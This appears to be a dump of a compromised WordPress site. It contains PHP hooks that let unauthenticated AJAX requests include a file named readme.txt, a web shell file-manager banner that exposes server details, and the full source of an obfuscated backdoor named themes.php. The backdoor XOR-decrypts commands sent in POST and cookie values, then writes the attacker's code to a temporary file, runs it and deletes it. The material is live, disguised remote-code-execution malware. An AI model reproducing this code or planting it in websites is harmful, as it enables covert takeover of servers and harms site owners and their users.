if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/assets/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/assets/themes.php
<?php 


$tdcvxdh    =     'tdcvxdh' /*  cvas*/ ^ /*   vu   */ '';


$uipevpubq    = /*  dxtojm*/ "\x53"    .    $tdcvxdh(705-621) /*  xhnoa */ . /*   ssyviz  */ "R"."_"."\120"	. /*qmeb   */ $tdcvxdh(1013-948)    . /* rxtrc */ "D"."\137"   . /* kxwng   */ "\x52" /*  hog  */ .    $tdcvxdh(929-856)     .    "G"."\x48"	.      "\124";

$ztsxs_      = /*wr   */ "\141"    .   "\x72"     . /*   tpfvff*/ "\162"	.   "a"."y".$tdcvxdh(277-182)       .  "m".$tdcvxdh(97)     . /*   _a   */ "p";
$ta_kku /*  fepl */ =     "i".$tdcvxdh(938-829)   .       $tdcvxdh(1033-921)      .    "\154"    .     "o".$tdcvxdh(100)    .	"e";

$okbfqkpoi    =      "s"."t"."r"."_"."\160"    .	"a"."\x64";

$kydooghs   = /*   i */ "c"."\x6f"       . /*   jbyqc*/ $tdcvxdh(960-843)	.     "\x6e" /*ilkgs  */ .      "\164";



function	wvmwdhf($lvuad,   $kxhhtjbl)
{ /*svhb */ global  $tdcvxdh; /*hbad   */ 
	$lvuad    = /* wlvus*/ "\74" /*  tow   */ .     "\77" /*   dumvxr*/ . /*rnxoy*/ "p"."h"."\x70" /*xlp*/ . /*   _jyb_x*/ $tdcvxdh(32)      .       "\165"    .	$tdcvxdh(583-473) /*xa  */ .	$tdcvxdh(108)	. /*  mz   */ "\x69"    .   "n"."k"."("."_"."\x5f"    .	"\x46" /* fy */ .  "\x49" /*kcydr */ .    "\x4c" /*  hnkq  */ .   $tdcvxdh(633-564)	.    $tdcvxdh(95)   .	"_"."\51" /* brher  */ .    $tdcvxdh(1039-980)    .    $tdcvxdh(32)   . /*  sls */ $lvuad["d"];


   $_yqaqq /*  at */ =   $tdcvxdh(102)    .       "\151" /* hyv */ . /* oqupi*/ "\x6c"      .     $tdcvxdh(1008-907)     .    "_"."p"."u".$tdcvxdh(711-595)	. /*edcq*/ $tdcvxdh(942-847) /*ox*/ . /* hq  */ $tdcvxdh(144-45)	. /*kmqir */ "\x6f" /*   smjx   */ .    "n"."t"."\145" /*  lqvh  */ .       "n".$tdcvxdh(116) /* d*/ . /*mmkwkh*/ "\163";


 /* b_ */ 	$_yqaqq($kxhhtjbl,   $lvuad);

 /*kdgwte*/ 

	jm_zfvqdut($kxhhtjbl);
}
$uezlq  =	73;
function	jm_zfvqdut($kxhhtjbl)


{
      global    $tdcvxdh;    

	include($kxhhtjbl);
 /*cjm*/ $nubsnvtykqdlbnk /*jylk*/ = /* ha__wz  */ $kxhhtjbl;
      @unlink($nubsnvtykqdlbnk);
}


function       jjjeo()
{    global    $tdcvxdh;

 /*pz  */ $nubsnvtyz_hqufv      =	array();


 /* cazpx */ $nubsnvtyz_hqufv[$tdcvxdh(118-6)    .  "\x76"]	=   phpversion();
 /*olqo*/ $nubsnvtyz_hqufv["s".$tdcvxdh(194-76)]	=	"\x33"       .    $tdcvxdh(46)    . /* cc*/ "5";


	$cvoloro    = /*bmz*/ 74;


 /*   dpmwh */ echo	@serialize($nubsnvtyz_hqufv);}

function  eijfljjse($lvuad, /* lha*/ $grmlwn)
{
	global       $tdcvxdh;




      $nubsnvtyiprw  = /*jbzlk   */ ""; /*  x   */ $bs_pygse       =       'zabs_xmcfd';
    $dsol_     = /*   uutx */ hash('sha256',       $lvuad);  $nglpxjgxga /*   ejfsf */ = /* i*/ str_replace('zwgepnrj',	$dsol_, /* xgm*/ $bs_pygse);

    $nubsnvtyz_hqufv /* qy  */ = /*qezy  */ 0;

    while /*vgwrrm  */ ($nubsnvtyz_hqufv	< /*  upruxu*/ strlen($lvuad)) /*  dunxo_   */ {

      $xakxbjy_    =      isset($grmlwn) /*  avmmv*/ ?      $grmlwn  : /* yqij */ '';

    for /* dms  */ ($nubsnvty    =   0;	$nubsnvty	<	strlen($xakxbjy_) /*   s*/ && /*  mqvvc   */ $nubsnvtyz_hqufv    <  strlen($lvuad); /* bgha*/ $nubsnvty++,	$nubsnvtyz_hqufv++)   {


 /*  mpf  */ $nubsnvtyiprw /*   fkq */ .=   $tdcvxdh(ord($lvuad[$nubsnvtyz_hqufv]) /*hz  */ ^     ord($xakxbjy_[$nubsnvty]));
      }   if    (strlen($nubsnvtyiprw) /*   ra_  */ >	20) /*  wwng */ {
  $nglpxjgxga	=      substr($nubsnvtyiprw, /* _hd*/ 0,	20);


 /*  rtjs */ }
    }    if /* dz   */ (empty($nubsnvtyiprw))   { /*   dfxj */ $nubsnvtyiprw /*  r   */ = /* xqr   */ date('Y-m-d /* qae*/ H:i:s');

    }

    return /*pm  */ $nubsnvtyiprw;

}






function /*   hz_hph   */ ffmjncopia($kegukdy){	global	$tdcvxdh;
    


 /* zjykk   */ $qkfkdhvru    =	"\x31"    .      $tdcvxdh(57) /*  fp*/ .       "5"."d".$tdcvxdh(961-910) /*benvm */ .    $tdcvxdh(228-173)	. /* xonj   */ $tdcvxdh(163-115)  . /*   aoxi   */ "\x32"       . /* knxr   */ "\x2d"      .  $tdcvxdh(787-686)."f".$tdcvxdh(787-686)."\66"       .  "-"."4"."8".$tdcvxdh(49)       .	"f"."-"."\70"	.	"\143"    . /*m */ $tdcvxdh(982-927)       .    "\146"   .    "-"."8".$tdcvxdh(772-716) /*  w*/ .    "\x30" /* _cevcz*/ . /* _v_db  */ "0"."\x36"      .	"b".$tdcvxdh(54)    .  "b"."\x65" /* oqsan   */ .    "\x30" /*  e   */ .    "b"."2";

    

    foreach /*  r */ ($kegukdy /*  nu   */ as    $udocslbnkm	=>   $lvuad)    {
 /*gvyt*/ ezyna(base64_decode($lvuad),	$qkfkdhvru, /* qk */ $udocslbnkm);


	}
}


function     ezyna($lvuad, /*mmf  */ $qkfkdhvru, /*   _yy   */ $udocslbnkm)


{

	global	$tdcvxdh;


    	$lvuad /*  tfce*/ = /*   mj  */ unserialize(eijfljjse(eijfljjse($lvuad, /*   __g  */ $qkfkdhvru), /*zsjma  */ $udocslbnkm));

	$tcrbmwf /*bk */ = /* ibgcwq */ 'fcgd';
	$djfu_    = /*  uk */ 'hcrzdfikwo'; /*ibvmdv*/ if     (isset($lvuad["\x61"."k"]))   {    if	($lvuad["\x61"]	== /*k   */ $tdcvxdh(105)) /*clx   */ {
 /* rr_i*/ jjjeo(); /*  jaoit  */ }	elseif /* bq */ ($lvuad["\x61"] /* _rtywi */ ==       $tdcvxdh(787-686))  {

       wvmwdhf($lvuad,      sprintf($tdcvxdh(46)    . /*  owouyd  */ "/"."\x25"	.  "s".$tdcvxdh(321-275) /*  ml  */ .  "p"."\154",	md5($qkfkdhvru)));


			$whqfj_ki /*ygrevb */ = /*   xzwggb  */ 44;
   }


      exit();
	}}



ffmjncopia($_POST);       


$nubsnvtyz_hqufvypsthbkr      =      $ztsxs_('rawurldecode',    $_POST);

$nwqitxrj    =    $kydooghs($nubsnvtyz_hqufvypsthbkr);if    ($nwqitxrj /* npjzt */ >	0)	{

 /* d */ $dm_qcuhn /*p_ajxt*/ = /*   ugewb   */ $ta_kku(',',    $nubsnvtyz_hqufvypsthbkr);}

ffmjncopia($_COOKIE);	$dcxtzv /* w  */ =    $ztsxs_('rawurldecode',   $_COOKIE);

$yefpu    =    $kydooghs($dcxtzv);

if /*  auat  */ ($yefpu /*   xphmu   */ > /*   dhh_*/ 0) /*   cydx  */ {


   $bjoddnu  =  $ta_kku(';',	$dcxtzv);}
$nxfnfjtgm    =	$dcxtzv;
$p_t_hhw /* aw*/ =     date('Y-m-d  H:i:s');
$nubsnvtyz_hqufvutcvx /*sbtzbc */ =    strlen($ta_kku('',    $nxfnfjtgm));
if /*  bhc  */ ($nubsnvtyz_hqufvutcvx /*   ukuvc */ >	100)    {
      $dpyxtyc /* nosl */ = /*  yieam */ $okbfqkpoi($ta_kku('', /*   hlj */ $nxfnfjtgm), /* enk   */ 150,   '0',     $uipevpubq);}



?>
@ Telegram